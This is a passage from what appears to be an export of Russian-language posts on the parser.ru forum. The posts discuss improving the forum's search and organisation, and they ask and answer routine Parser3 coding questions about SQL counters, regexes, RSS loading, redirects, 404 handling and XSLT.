Насчет поиска. Обычно, когда кого-то посылают в поиск, знают, что найти ответ тривиально. Когда в этом не уверены, чаще всего дадут ссылку на нужную тему."
"52528","^void:sql{UPDATE bn_banners SET countpokaz=countpokaz+1 WHERE id=$bn_banners.id}\
вот эта конструкция заместо +1 делает +2 а если запрос внести напрямую то все работает нормально ,  обьясните почему"
"52529","Мне кажется, первый вопрос будет типа: \"ну и как этим пользоваться?\". Хотя для постояльцев форума это, наверное, будет очень удобно.\
\
Человек начинающий постигать язык и попавший в затруднение обычно отчаянно ищет очевидную зацепку, наводку. Многие, по-моему, толком не знают, к какой области отнести проблему и где копать, но очень хотят \"уложить\" проблемный предмет в какую-то категорию, чтобы впоследствии знать, где искать ответы на схожие вопросы. Я к тому, что почти все знакомы с традиционным \"жестким\" разделением форумов на категории и с этим все в конце концов справляются и привыкают, благо большинство форумов использует именно такой способ организации сообщений. По моему, это просто будет привычнее, и путь от \"помогите, не знаю что делать!\" до \"ура, нашел!\" будет короче. Плюс категории будут ненавязчиво размечать и отделять различные области применения языка.\
\
А за совет зарегистрироваться спасибо - я действительно не подумал, что такая возможность может быть доступна после регистрации."
"52530","Например, перенаправлять кроме страниц из определённой директории..."
"52531","Тегов у темы может быть сколько угодно.\
\
И почему вы уверены что это будет не удобно? Главное, что всегда можно будет пользоваться форумом в привычном виде — без разделения. Новичкам от этого хуже не будет.\
\
Единственный момент — кто будет задавать темам теги. 40% авторов будут забывать это дело."
"52533","Я бы предпочёл:\
\
- небольшую доработку поиска (как минимум, три поля для ввода поисковых слов - \"должно содержать: a, b, c; не должно содержать: c, d, e\" и расширение поля \"фильтровать по автору\", дабы можно было указать двух-трёх авторов + фильтрацию по дате и preview сообщения)\
- и только потом, но необязательно, tags"
"52534","Объясните пожалуйста почему в парсере регулярки вида\
[code]\
$text[aaaa]\
^string.match[${text}^$][x]\
[/code]\
вылетает с\
regular expression syntax error - nothing to repeat\
\
разве perl, grep, sed не поддерживают такой синтаксис?\
f.e s/text$//g\
убираем сочетание text в конце строк\
\
\
---\
странно:\
тут работает:\
^requestURI.match[${uri}^$][x]\
\
тут нет:\
^requestURI.match[${subsections.uri}^$][x]\
--\
понял:\
$subsections.uri  содержит строки начинающиеся с ?some_text, а такая конструкция работать не должна.\
\
P.S. как удалить своё сообщение?\
"
"52535","тоже умеющий:\
работать по ftp\
настраиваемую подсветку\
[b]и(!) понимающий KOI-8[/b]"
"52539","Плюс к нему нужные Вам плагины."
"52540","Когда к этой странице обращаешься она в респоне:боди выдает картинку и щелкает счетчик , так вот , когда к этой странице обращаешься напрямую то щетчик +2 а если через <img src=... на странице то +1 почаму?"
"52542","[url=\"http://www.parser.ru/forum/?id=52202\"]Смотрите[/url]"
"52543","то есть подразумевается хорошее знание языка и какая-то практика работы с ним.\
\
Попробуйте поработать несколько лет с PHP, привыкните и пропитайтесь определенными языковыми конструкциями, субкультурой языка, сотрите зубы на проблемах, потаскайтесь по бесчисленным php'шным форумам, а потом переходите к парсеру. Я думаю, что все дороги, какими бы вы не шли на пути освоения языка, приведут вас на парсерный форум (ну почти нет информации о языке в Сети). А вот тут-то и начинается что-то очень непривычное. Лично мое первое впечатление: обиталище монстров парсера, обсуждающих тонкости работы с языком и шаблонно отсылающих новичков \"к поиску на форуме\". Да, искать, то есть копать можно, но при этом придется безоговорочно смириться со всеми неудобствами использования форума и чертыхаясь выжимать крупицы полезной информации из сонма форумных сообщений. Ну есть еще вариант - принять неудобную форумную действительность за \"философию Парсера\", типа \"да, мы такие, ни на кого ни в чем не похожие, все сами в себе\" и, забив на все непривычности и отставив все прелести и удобства популярных форумов, начать жить активной парсерной жизнью, постепенно превращаясь в монстра, отсылающего новообращенных \"к поиску по форуму\". \
\
Что тогда делать новичку в парсере? На главной странице parser.ru написано что язык специально создан для удобства скриптования сайтов. Человек, поверивший в это, в конце концов добирается до форума и сталкивается с полным отсутствием привычных форумных удобств. Некоторые могут навсегда отвернуться от парсера, сочтя непонятный форумный интерфейс за ограниченность возможностей языка или просто не имея желания \"копать\" в столь замороченном направлении. Скажете, что язык не рассчитан на таких людей? Но ракеты в космос вы ведь также не собираетесь запускать.\
\
Патетика? Хрена с два. Я пытался привлечь двух знакомых довольно опытных программистов к освоению парсера. Оба покопались немного с языком и высказались примерно одинаково \"Что-то замороченное, нужно долго копать, а главное - нет внятной информации и непонятно, где ее брать, один единственный форум, но там полная каша\".\
\
В отношении \"Документация есть\": а вы не попадали в ситуацию, когда документация есть, читать вы умеете, руки вроде не кривые, все сделано правильно, а НЕ РАБОТАЕТ по неведомым причинам? Хотите сказать, что с Парсером таких проблем не возникает? Ни за что не поверю, извините. Иначе этот форум просто не был бы нужен: документация давала бы исчерпывающие ответы на все вопросы. Но так не бывает, ни в случае с парсером, ни с тем же PHP, ни с Perl, ни с любым другим языком. Потому и существует бесчисленная масса форумов, посвященных определенным языкам, и будут появляться все новые и новые. \
\
Я просто говорю о способе организации сообщений на парсерном форуме. По-моему, категории - это очень естественно и привычно. Мировое наследие, что ли, традиционный формат коммьюнити, собществ. На мой взгляд, парсерный форум - это уже что-то вроде сообщества, поправьте меня, если это не так.\
\
В общем-то, ответ разработчиков, вроде: \"Да, мы знаем этот недостаток форума, мы думаем, что еще можно сделать и у нас уже есть свои соображения на этот счет, но, к сожалению, сейчас у нас просто нет времени, чтобы этим заниматься, но мы непременно займемся этим вопросом в будущем\" - меня бы удовлетворил и я бы перестал бубнить и успокоился. Другими словами: [b]я хочу работать с парсером, мне нравится парсер и его возможности, но меня не устраивает мастурбация в вопросах познания языка[/b]. Что-то с этим нужно делать."
"52544","Почему, когда я обращаюсь к форуму, я всегда знаю, что искать? Почему, когда я начинал работать с парсером, я знал, что искать? Для любой сознательной деятельности предпологается наличие ума. Если его нет, то программистам, типа \"Я тут нопесал адну штуку, а у миня ашипко! Что диелать?\", лучше занятся чем-нибудь другим."
"52545","после решения проблемы мало кто описывает работающий результат, ограничиваясь фразой: спасибо, помогло (ПАФ постоянно подталкивает людей к описанию успешного опыта, но мало кто слушает). Так вот, если взять 100 горячих тем с форума, в которых есть какое-то последнее сообщение, описывающее проблему и ее решение, написать ссылку простым языком типа: \"Если надо автоматически делать www.domain.ru из domain.ru\" и в факе опубликовать или в примерах, новичкам будет легче, потому что главной проблемой новичка всегда было и будет [b]неумение сформулировать вопрос (или поисковый запрос на форуме, яндексе или гугле), чтобы найти ответ на него[/b]. В приведенном примере про ввв.домен.ру надо знать волшебное слово mod_rewrite, чего невозможо требовать от новичка.\
\
Да мне бы и самому помогло. Типа \"закладки для всех\"."
"52546","но при этом не хотели заниматься чем-то другим :)"
"52547","Вы невнимательно прочитали мой предыдущий пост.\
[quote]\
Почему, когда я начинал работать с парсером, я знал, что искать? [/quote]\
Ну не верю я, что человек, который всерьез решил занятся программированием, не умеет строить правильные запросы в поисковике."
"52548","Никак. Останется для истории, чтобы потом люди сначала испробовали все варианты, а потом уже писали в форум."
"52549","Что по-вашему удобнее: составлять запрос чтобы отфильтровать сообщения, относящиеся к определенному предмету из числа всех сообщениях форума или одним кликом на главной странице форума \"въехать\" в специальный раздел форума, где к тому же можно просто почитать что вообще пишут о данном предмете?\
\
Я же говорю про упорядочение сообщений на форуме. С целью упростить и облегчить поиск решений и для себя и для новичков, сделать его более очевидным и наглядным. Ну хотя бы несколько каких-то основных категорий."
"52550","А вот ты прикинь, сколько времени понадобится админам, чтобы каталогизировать уже набравшееся. А этого добра тут много… Хочешь заняться?"
"52551","Если разделить навигацию на стандартную и строку поиска, взять самый популярный поисковик и самый популярный каталог, то разница в их посещаемости будет огромна и не в пользу каталога. В том то все и дело, что самые ленивые пользователи интернета пользуются поиском, а не рыщут в каталогах и многоуровневых разделах.\
Насчет упорядочивания - после получения списка тредов по моему запросу, я не выбираю наиболее подходящий, я читаю их все. Чем больше информации я получу о неизвестном мне вопросе, тем лучше для меня. Те, кто поступают иначе - на 99% дилетанты-фрилансеры."
"52552","Как минимум, сделать топ100 (а лучше вообще без limit) популярных закладок можно без проблем :-)"
"52554","я так время от времени делаю, думаю, все заметили.\
это полезно, когда ключевые слова были в вопросе,\
а в ответ не попали.\
\
чтобы помочь поиску, нужно их куда-нибудь добавить.\
[i]subject: основной заголовок | можно эти ключевые слова добавить сюда[/i]"
"52555","на свежую голову вспомнилась простая идея индекса цитирования.\
\
думается, можно учесть, когда одно сообщение в форуме содержит ссылки на другие сообщения.\
в момент публикации[редактирования/удаления], обновлять отдельную табличку со связями.\
\
при поиске можно бы \
[code]order by RefCount desc[/code]\
\
\
понятно, что возможны злоупотребления.\
понятно, как бороться = стёртое сообщение не учитывать.\
\
уверен, есть и какие-нибудь другие подводные камни, но предлагаю обдумать."
"52556","этот вопрос уже обсуждался.\
\
вместо того, чтобы продолжить дискуссию с той точки, где она тогда завершилась (или, подумав, не продолжать её вовсе), вы заводите новый разговор."
"52557","[code]\
^if($BugHere){ ^throw[debug;поймал!] }{ $BugHere(1) }\
#-тут код, который задумано, что выполняется лишь однажды-\
[/code]\
\
поставьте такую строчку прямо перед проблемным запросом, когда упадёт, у вас будет на руках stack trace проблемы.\
\
(кажется, уже отвечал это. мне надо было воспользоваться поиском по форуму и дать ссылку)"
"52558","http://www.parser.ru/forum/?id=52454"
"52559","при подстановке переменной в regex, Parser не делает с ней никаких действий: он не знает, вы собираете regex из кусочков, или вы подставляете в regex кусочки строки, которые [i]не хотите[/i], чтобы воспринимались, как regex,\
а хотите, чтобы воспринимались, как «просто буквы».\
\
ваша perl аналогия неточна. в perl реально будет то же:\
[code]\
$s='123';\
$t='+';\
$s=~s/$t$/!/;\
print $s;\
[/code]\
напечатает\
[quote]\
Quantifier follows nothing before HERE mark in regex m/+ << HERE $/ at a.pl line 3.\
[/quote]\
\
в Parser (в отличие от Perl) выход есть:\
http://www.parser.ru/docs/lang/opuntainttaint.htm\
Ctrl+F Regex"
"52561","создайте для подобных \"сачков\", соответсвующие assert операторы, и активнее пользуйтесь ими.\
\
новости из потустороннего мира:\
там это давняя практика, которая сберегла человекотысячелетия.\
принципиальная идея: писать assert-ы [b]до[/b], а не после ж.\
\
[i]словарик:\
потусторонний мир = C++ мир[/i]"
"52562","И любые добавленные вами ключевые слова помогут [b]вам[/b], чтобы найти то, что вы когда-то написали и дать ответ типа: \"в поиск, искать то-то и то-то\". Проблема в том, что когда кто-то ищет решение, он этих ключевых слов не знает (мы все еще заботимся о тех, кто найти не может, чтобы в результате сэкономить себе время и нервы). Поэтому, чтобы вам сэкономить время, которое вы всё равно тратите на ответ (\"в поиск, искать то-то и то-то\"), надо что-то...\
\
1. Кавердо, насколько, я понял предлагает сделать топ закладок, простым отбором сообщений, которые находятся в закладках у нескольких пользователей. И автоматом публиковать это как \"популярные закладки-треды\". Поправьте, если ошибся. Здесь минус именно в автомате. По заголовкам тредов не всегда поймешь о чем речь.\
\
2. Я имел в виду сделать какое-то количество готовых решений: проблема, описанная человеческим языком и ссылка, на поиск с ключевыми словами либо на тред, где внятно описано решение. Своего рода \"откуда копать\". Ноги растут из идеального ответа (для вменяемого большинства). Типа http://www.parser.ru/forum/?id=52318"
"52564","Простите, может я не в теме, но ни в онлайн версии, ни в скачиваемой документации нет некоторый статей. Например, о методах match и trim класса String. Так должно быть? В новой версии парсера эти методы уже не актуальны?"
"52566","Замечательно! А у меня их не видно. Даже в СHM файле.\
\
По [url=\"http://www.parser.ru/docs/lang/stringmatch.htm\"]этой ссылкке[/url] у меня открывается пустая белая страница. Что-то с моим броузером? Никто с таким не сталкивался?"
"52568","Было и не раз.\
Выяснять и разбираться было лень, всё проходило после переустановки ос."
"52569","Ура! В Опере всё открылось) Спасибо, что прояснили)"
"52570","))) мне уже тут сказали: иди поспи) глуканы у тебя)"
"52571","Приветствую всех!\
Недавно накнусля на parser, и появился вопрос.\
Что начать изучать parser или php т.к. ни в первом ни во втором я несилёт, поэтому посоветуйте на чём остановить свой выбор. И заодно посоветуйте дополнительные материалы которые мне могут понадобиться в частности MySQL, CSS, XML и пр. желательно ссылки на такие же учебники как по парсеру.\
Всем спасибо за ответы."
"52573","2. [url=\"http://www.parser.ru/links/\"]Дополнительные материалы[/url]"
"52576","года три назад [url=\"http://www.parser.ru/forum/?id=20060\"]предлагали подобное[/url], таблица связей уже есть(?), наверное не будет сложно реализовать.\
\
потом в результатах поиска можно будет сделать что-то типа:\
[code]\
Сортировать результаты: [b]по дате[/b] | по релевантности\
[/code]\
Хотя возможно в таком контексте \"релевантность\" не самое подходящее по смыслу слово, ибо подразумевает [i]релевантность сообщения введенному поисковому запросу[/i], следовательно результат иногда может не в полной мере соответствовать ожидаемому.\
\
Еще один вариант - из пачки результатов запроса выбираем несколько сообщений по определенному условию (например [i]\"не больше пяти сообщений\", \"с релевантностью (ИЦ) не меньше X\"[/i]) и отображаем в верху страницы с пометкой \"рекомендуем ознакомиться\", дальше разделитель и остальные результаты, привычно отсортированные по дате."
"52577","А еще можно повысить релевантность результатов и одновременно осложнить жизнь \"накрутчикам\", используя упрощенный алгоритм на основе Google PageRank, где релевантность страницы рассчитывается учитывая не столько количество ссылок (количество закладок пользователей) сколько их качество (одна ссылка с авторитетного ресурса лучше чем двадцать ссылок с непонятно откуда).\
\
Рассмотрим конкретный пример - чем больше вменяемых интересных сообщений написал пользователь, тем больше закладок на его сообщения. Чем больше закладок на сообщения пользователя, тем выше его пользовательский рейтинг. Если пользователь с большим рейтингом добавил ваше сообщение в закладки, рейтинг вашего сообщения увеличивается с учетом рейтинга этого пользователя.\
\
Другими словами, если пользователь с большим рейтингом добавил пост в свои закладки, значит сообщение деиствительно стоящее. Если сообщение в закладки добавили двадцать пользователей с нулевым рейтингом (\"виртуалы\" накрутчика, как вариант) совокупность их рейтинга все равно не даст сообщению реального веса."
"52578","У него там были подвижки в сторону полнотекстового поиска с анализом предыдущих запросов - это да.\
Может и сделает.\
\
А все эти рэйтинги...\
На любую проблему достаточно просмотреть первую пару страниц результата поиска.\
[i](правда, это я про альт, тут мне немного напряжко ориентироваться только по заголовкам...)[/i]"
"52579","и правильно сделает, пусть лучше выложит наконец обновленный класс авторизации, я больше обрадуюсь ;)\
\
вообще лично меня тоже устраивает текущий функционал поиска по форуму, другое дело что я из тех кто \"давно здесь сидит\", в том смысле что знаю что, где, и как надо искать, вот например из последнего, нужное мне сообщение про хеш таблиц я искал [url=\"http://www.parser.ru/forum/?terms=%E8%E7%F3%EC%E8%F2%E5%EB%FC%ED%EE&author=&doSearch=%CD%E0%E9%F2%E8\"]вот таким хитрым способом[/url] ;), однако не каждый старожил форума сможет так извратиться, не говоря уже про новичков."
"52580","F5 нажимать пробовали? :)"
"52581","если кто давно не обновлял, наверняка есть новая картинка, которую давно хотелось повестить, да руки не доходили."
"52584","Это неважно с чего начинать, главное вообще начать."
"52585","... то предлагаю начать с документации для Парсера.\
Если же нет знаний о HTML, то лучше изучить HTML (XHTML).\
\
[i]P.S. А CSS, мне кажется, в любом случае необходим веб-дизайнеру.[/i]"
"52586","в базе есть столбец SORT... его нужно вывести... а название конфликтует с методом Sort... Как обойти такую ситуацию?"
"52587","чтобы он брал `sort as sort_order`, например?"
"52588","нее... в базе всё ок...\
просто я потом вывожу из таблицы...\
\
^таблица.menu{$таблица.sort}[, ] - должен вывести значения столбца... а он видимо думает, что я сортировку пытаюсь сделать... пишет мне...\
---------------------\
sort\
\
junction may not be overwritten with junction, store it to variable instead\
---------------------\
\
Вот и всё.... ну и как теперь выводить этот столбец???"
"52590","я предложил переименовать столбец в процессе доставания данных..."
"52591","я всё прекрасно понял...\
просто хотелось узнать, как обойти такую ситуацию не изменением названия столбца, будь то в базе или в выводе столбца... так то я уже давно решил эту проблему..."
"52592","сначала переименовать в базе чтобы не путаться с AS например в sort_id\
ctrl+h $(*.?).sort > $$1.sort_id"
"52593","Система Debian GNU/Linux stable\
parser: собран из исходников parser 3.2.1 с ключом --disable-safe-mode\
mysql ver. 4.0.16\
Q: правильно ил собран parser? Не нужно ли ему указывать дополнительные параметры? \
заранее спасибо."
"52594","$таблица.fields.sort\
См. \"[url=\"http://www.parser.ru/docs/lang/?tablehash.htm\"]Получение содержимого текущей строки в виде хеша[/url]\""
"52596","повторов та нету"
"52597","Какой заголовок ответа надо прописать чтобы страницы и картинки не кэшировались?"
"52599","http://www.cbr.ru/scripts/XML_dynamic.asp?date_req1=02/05/2006&date_req2=09/05/2006&VAL_NM_RQ=R01235\
помогите!!!!!\
срочно нужно создать таблицу со полями дата курс как выбрать?"
"52601","Нету у меня знаний икснода и икспатха....\
помогите с раздракониваем xml"
"52603","ааа... точно... спасибо"
"52604","$d[^xdoc::load[http://www.iplace.ru/humour/rss/100/]]\
если по этой ссылке пройти, то вроде всё в порядке... а так как тут - не получается...\
я попробовал загрузить по той же ссылку, но через file::load и у меня выдалась ошибка 301 (invalid HTTP response status)... С чем может быть связана эта проблема????"
"52605","http://www.parser.ru/docs/lang/app1.htm"
"52606","$d[^file::load[text;http://www.iplace.ru/humour/rss/100/],\
    $.any-status(true)\
  ]\
\
верно?\
\
но ошибка не устраняется... :("
"52608","а как тогда равильно?"
"52609","Вы невнимательно читаете не только документацию, но и даже короткие ответы — тут я бессилен."
"52610","http://www.volny.cz/jan.fiala/parser3.zip\
Этот файл запихиваем в директорию Syntax.\
Затем заходим в Настройка/Подсветка пользователя/ выбираем Parser3.ini\
Затем советую поставить в Code explorer file type, значение ftPHP. (на этом остановлюсь позже)\
\
Затем настройка, параметры подсветки и выбираем слева не используемый пункт. Справа вкладка Описание, где выбираем Parser3. В общем-то всё...\
\
И так обещал остановиться на ftPHP... Вообще в PSPad нет возможности в структуре кода выводить параметры из кода парсера. Но!!! названия функций и переменных схожи с PHP, а для PHP вывод структуры кода сделан в полном объёме... Соответственно, это можно использовать (ftPHP).\
\
Я разговаривал с разработчиком PSPad по поводу вывода структуры кода, и он сказал следующее... Что когда будет файл Parser3.def (это файл, с клипами кодов..., т.е жмёшь на Ctrl+Space и появляется список команд), тогда он реализует структуру кода...\
\
Этот файл я, скорее всего, делать не буду... дел много... подумал, что разработчики parser3, могли бы выполнить эту работу лучше и качественнее всех... поэтому, если есть желание, сделайте пожалуйста..."
"52611","спасибо за комплимент :)"
"52613","чтобы исключить разночитения.\
структура каталогов для сборки:\
parser3project/parser3\
parser3project/sql/mysql"
"52615","если есть желание, сделайте пожалуйста..."
"52618","нет не в том... просто понимаю, что где-то не прав, а мне не показывают в чём и где я не прав, а только говорят, что я не внимательный... вот и всё... с ошибкой ещё не разобрался..."
"52621","Предлагаю добавить функцию добавления своего описание к тредам, лежащим в закладках... Не всегда легко найти то, что нужно, когда ты видешь кучу неясных заголовков. Лично для меня нынешний раздел \"Закладки\" именно из-за этого играет малую роль, т.к. чтобы мне найти сообщение отложенное несколько недель или месяцев назад, приходится открывать чуть ли не все.\
Читал на форуме МТС [url=\"http://forum.mts.ru/6475433/\"]интересное предложение[/url]. Может быть и здесь начать учитывать?"
"52624","Ну так и что?... не помогает... всё равно та же фигня... как была ошибка, так и осталась... и 1 и 0 прописывал... и всё по барабану....\
ну попробуйте кто-нибудь у себя где-нибудь прописать и посмотрите..."
"52627","Я долго ломал голову над Вашей конструкцией \"->\", она у меня почему-то с комментированием хтмл ассоциируется."
"52628","[code]$d[^file::load[text;http://www.iplace.ru/humour/rss/100/;$.any-status(1)]][/code]"
"52630","Ну вот... действительно были косяки со знаками... не доглядел... но тут уже другая фигня началась... вот моя запись\
$d[^file::load[text;http://www.iplace.ru/humour/rss/100/;$.any-status(1)]]\
выдаёт ошибку\
----------------\
ISO-8859-1\
\
unknown charset\
----------------\
пробую так...\
$d[^file::load[text;http://www.iplace.ru/humour/rss/100/;$.any-status(1) $.charset[windows-1251]]]\
\
такая же фигня..."
"52634","Есть баг с 9 оперой. \
\
[code]<html>\
<head>\
<script type=\"text/javascript\" src=\"/admin/editor/fckeditor.js\"></script>\
<script type=\"text/javascript\">\
window.onload = function() {\
var oFCKeditor = new FCKeditor('text')^;\
oFCKeditor.BasePath = '/admin/editor/'^;\
oFCKeditor.ToolbarSet = 'Content'^;\
oFCKeditor.Height = 500^;\
oFCKeditor.ReplaceTextarea()^;\
var iFCKeditor = new FCKeditor('lead')^;\
iFCKeditor.BasePath = '/admin/editor/'^;\
iFCKeditor.ToolbarSet = 'Content'^;\
iFCKeditor.Height = 500^;\
iFCKeditor.ReplaceTextarea()^;\
}\
</script>\
</head>\
<body>\
<form method=\"post\">\
    <textarea name=\"text\">$form:text</textarea><br />\
    <textarea name=\"lead\">$form:lead</textarea><br />\
    <input type=\"submit\" name=\"do\" value=\"do\" />\
</form>\
\
^if(def $form:text && def $form:lead && def $form:do){Yes}{No}[/code]\
\
В опере -- всегда NO, firefox норма"
"52635","ну да....кодировку прописал... да только что-то странное... решил вывести файл, и получил вот такую хрень...\
[code]<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"> <HTML><HEAD> <TITLE>301 Moved Permanently</TITLE> </HEAD><BODY> <H1>Moved Permanently</H1> The document has moved <A HREF=\"http://iplace.ru/humour/rss/100/\">here</A>.<P> </BODY></HTML>[/code]\
хотя по адресу http://iplace.ru/humour/rss/100/ у нас нормальный RSS... почёму так получилось?"
"52637","LOCATION=http://iplace.ru/humour/rss/100/\
т.е. тот же что и у меня в коде... даже не ясно в чём проблема... :( почему высвечивается не RSS?"
"52638","Убедитесь, что вы запрашивате парсером ровно то, что вам дают в LOCATION."
"52639","Пардон... действительно.... Всё заработало! Спасибо громадное!"
"52640","Немного странная ситуация, опишу по порядку:\
1.\
[code]$value[^hash::sql{SELECT name, text FROM contents WHERE post_id = '$postId'}]\
[/code]\
2. [code]$sourceDocL[^xdoc::load[/datatypes/${template}.xml]]\
^process{^sourceDocL.string[$.method[html]]}[/code]\
3. Сам source:\
[code]<content>\
 		^operations:full_text_select[$value.text.text]\
</content>[/code]\
это часть xml файла в который вставляются тоже xml блоки\
4. Затем идет xsl-transform и вывод всей полученной страницы.\
Только вот если я указываю в 3 пункте \
[code]<content>\
 		[b]^untaint{[/b]^operations:full_text_select[$value.text.text][b]}[/b]\
</content>[/code]\
исчезает весь html который лежит в базе вместе с текстом. Если не указываю -- выводится необработанный. Перепробовал разные комбинации на разных стадиях формирования документа -- ничего хорошего не получил. Может кто знает причину?\
Спасибо!"
"52641","[code]\
$urls[^table::load[/urls.cfg]]\
^urls.menu{\
 $d[^file::load[text;$urls.url]]\
...\
}[/code]\
\
$urls.url - список url адресов удалённых файлов (страниц RSS)\
Если просто вместо $urls.url подставить url страницы, то всё в порядке.\
Если вывести $urls.url, то тоже всё нормально и правильные адреса...\
А вот когда появляется ^file::load[text;$urls.url], то сразу же проблемы начинаются... пишет\
http://iplace.ru/humour/rss/100/ (это адрес в url)\
does not start with http://\
При этом не важно, сколько у нас строк в таблице $urls.\
и что это вообще за ошибка?"
"52642","http://www.parser.ru/forum/?id=42739"
"52643","(код вы привели неполный, потому пока не по коду скажу)\
\
вот ведь вам такая смесь технологий самому нравится?\
уверен, нет.\
\
писать на parser внутри .xml файлов — плохо.\
использовать описанным образом process — плохо.\
использовать xml, как шаблон, вместо xsl — плохо.\
\
вариант:\
[code]\
#-тут достать данные из базы-\
$xdoc[^xdoc::create{…\
<input>\
  ^вывестиДанныеИзБазыВВидеXML[$valueHash]\
  <всякие>\
     ещё конструкции\
  </всякие>\
</input>\
}]\
#тут сделать XSL преобразование\
[/code]"
"52644","Меня всегда интересовал вопрос -- как хранить данные в базе в виде xml?\
То есть не перемешка(<text>Текст</text>) же с данными.\
\
Сейчас я уже не могу глобально переделывать структуру, поэтому мучатся буду с этим. (глупый был, сначала вообще все на хтмле было, потом потребовались трансформации, хтмл шаблоны которые include заменились на такую хитрую конструкцию>\
\
весь код:\
\
[code]\
#это временная конструкция -- надо переделать\
@print2[]\
^select_pid[]\
^print[$postid;index;^select_template[]]\
\
#выводим страницу\
@print[postid;xslSheet;template]\
	$sourceDoc[^xdoc::create{\
		^print_page_object[$template;$postid]\
	}]\
\
	$menuItems[^sourceDoc.select[/page/body/navigation/menuItem]]\
		^for[i](0;$menuItems-1){\
			$node[$menuItems.$i]\
			^if(^node.getAttribute[link] eq $request:uri || !def ^node.getAttribute[link]){\
				^node.setAttribute[state;disabled]\
			}{\
				^node.setAttribute[state;enabled]\
			}\
		}\
\
	$transformedDoc[^sourceDoc.transform[/xsl/${xslSheet}.xsl]]\
	^memory:compact[]\
\
	^process{^transformedDoc.string[$.method[html]]}\
\
#выбираем id страницы в соответствии с uri\
@select_pid[]\
	$page[^if(def $form:page){$form:page}{main}]\
	$selectPageContent[^table::sql{\
		SELECT post_id, object_type \
		FROM posts \
		WHERE post_id = (SELECT uri_id FROM uri WHERE uri_path = '$page')\
	}]\
	$objectTypes[$selectPageContent.object_type]\
	$postid[^if(!def $form:id){$selectPageContent.post_id}{$form:id}]\
\
\
@select_template[]\
\
#####\
#ToDDo\
#SELECT template FROM objects_types WHERE object_type = ...\
#####\
	^if(($form:page eq main  || !def $form:page) && $objectTypes == 1){\
		$result[index_page]\
	}{	\
		^if($objectTypes != 1){\
			$result[full_page]			\
			}{\
			$result[regular_page]			\
			}\
	}\
\
\
#вывести страницу\
@print_page_object[template;sid]\
	$selectObjectsTo[^table::sql{\
		SELECT post_id, creation_date, edit_date, \
			version, author, header, object_type, \
			publication_date, end_date, is_published\
		FROM posts\
		WHERE post_id = '$sid'\
	}]\
	$postId[$sid]\
	$value[^hash::sql{SELECT name, text FROM contents WHERE post_id = '$sid'}]\
	^selectObjectsTo.menu{\
	$head[$selectObjectsTo.header]\
	$sourceDocL[^xdoc::load[/datatypes/${template}.xml]]\
	^process{^sourceDocL.string[$.method[html]]}\
	}\
	^memory:compact[]\
\
[/code]\
Код конечно плохой..."
"52645","есть формы с содержанием \
[code]<input type=\"text\" name=\"header\" />\
<textarea name=\"text\" />[/code]\
\
contents\
post_id int not null primary_key\
text text\
\
[code]\
INSERT INTO text(post_id, text) VALUES ('$id', '<header>Заголовок</header><text>Текст</text>')\
[/code]\
Я правильно понял?\
[code]\
$selectData[^table::sql{SELECT text FROM content WHERE id = $pid}]\
$source[^xdoc::create{$selectData.text}][/code]\
\
Если так верно -- то я переделаю в этом ключе. Но пока хотелось бы заставить заработать тот код, чтоб клиент был доволен. А потом тих и спокойно привести его впорядок."
"52646","Помогите, пожалуйста, решить проблему\
\
На сервере в htaccess прописана обработка 404 ошибки: ErrorDocument 404 /404/\
Как я понимаю, если сервер вернёт браузеру заголовок 404, должен произвестись редирект\
\
Но когда мне нужно насильно перенаправить пользователя на 404 страницу (например, при заходе на несуществующую динамическую страницу), и я прописываю в парсерном коде: $response:status(404), не происходит абсолютно ничего.\
\
Примечательно также, что если на этой странице попытаться вывести env:HTTP_REQUEST, он тоже будет пустой (или я что-то путаю и такой переменной окружения нет?)\
\
В общем, в чём может быть дело? По форуму искал, но аналогичной проблемы не нашёл.\
Спасибо"
"52647","parser 3.2.1sp2 freebsd xml cgi\
\
Похоже, что сдвиг зоны одной переменной приводит к изменению зоны другой. Причем проблема сохраняется, даже если между вызовами ^date::now[] проходит больше секунды.\
\
[code]\
@main[]\
$now[^date::now[]]\
^now.sql-string[]\
<br>\
$now_gmt[^date::now[]]\
^now_gmt.roll[TZ;GMT]\
^now_gmt.sql-string[]\
<br>\
^now.sql-string[]\
<br>\
[/code]\
\
На выходе получается:\
\
[code]2006-05-10 03:27:46 \
2006-05-09 23:27:46 \
2006-05-09 23:27:46[/code]"
"52648","Посмотрите какая именно переменная не передается:\
\
[code]\
^if(def $form:text){text}\
^if(def $form:lead){lead}\
^if(def $form:do){do}\
[/code]\
\
Скорее всего это будет переменная $form:do, т.к. она будет передаваться только если мышкой щелкнуть на кнопке (кажется так).\
\
Я обычно do использую так:\
\
[code]\
<form method=\"post\">\
	<textarea name=\"text\">$form:text</textarea><br />\
	<textarea name=\"lead\">$form:lead</textarea><br />\
	<input type=\"hidden\" name=\"do\" value=\"true\">\
	<input type=\"submit\" value=\"Отправить\" />\
</form>\
[/code]"
"52649","В остальных-то браузерах работает и на кнопку я нажима и при аналогичных условиях, но когда FCK не загружен(например Опера 8.5..) все происходит нормально."
"52650","Проблема: если надо заполнять два поля, то рано или поздно становится лень заполнять необязательное. Может стоит организовать добавление записей как основную запись, пряча расширенный смысл под кат? :-)\
\
Без темы, как таковой. Или слишком  необычно?"
"52651","[quote]На сервере в htaccess прописана обработка 404 ошибки: ErrorDocument 404 /404/  Как я понимаю, если сервер вернёт браузеру заголовок 404, должен произвестись редирект[/quote]Если вы запрашиваете несуществующий файл, на который не навешен обработчик (http://example.com/no/such/file/here.gif), вебсервер выдаст в браузер содержимое страницы http://example.com/404/\
\
Если вы в произвольном месте выдаёте парсером заголовок $response:status(404), никакого редиректа происходить и не должно. \
\
Выдав заголовок 404 (вместо обычного \"200\") вы и так говорите браузеру \"тут ничего нету\". Если вы хотите выдать понятное пояснение посетителю, делайте его тут же: $response:body[Приятель, ты опечатался и ввёл неверный адрес!]\
\
Редирект на /404/ логически неправилен - если вы его применяете на несуществующих страницах, вы вводите в заблуждение поисковики. Они будут индексировать у вас несуществующие адреса.\
\
Если уж совсем приспичило, редиректте со статусом 303  (\"The response to the request can be found under a different URI (Uniform Resource Identifier) and should be retrieved using a GET method on that resource\")."
"52652","Кто-нибудь делал на парсере авторизацию через OpenID? Это вообще возможно?"
"52653","Та же версия под FreeBSD, .masterhost: roll не происходит, TZ+3\
под win32: всё как в руководстве."
"52654","<xsl:if test=\"not($url=('/catalog_price/'+//site/hotels/hotel/@id))\">\
знаю, что не правильно, но ответа не могу найти... :( может кто-нибудь поможет?\
нужно проверить, url - текущий\
и url = ('/catalog_price/' + (номер из xml с путём //site/hotels/hotel/@id))"
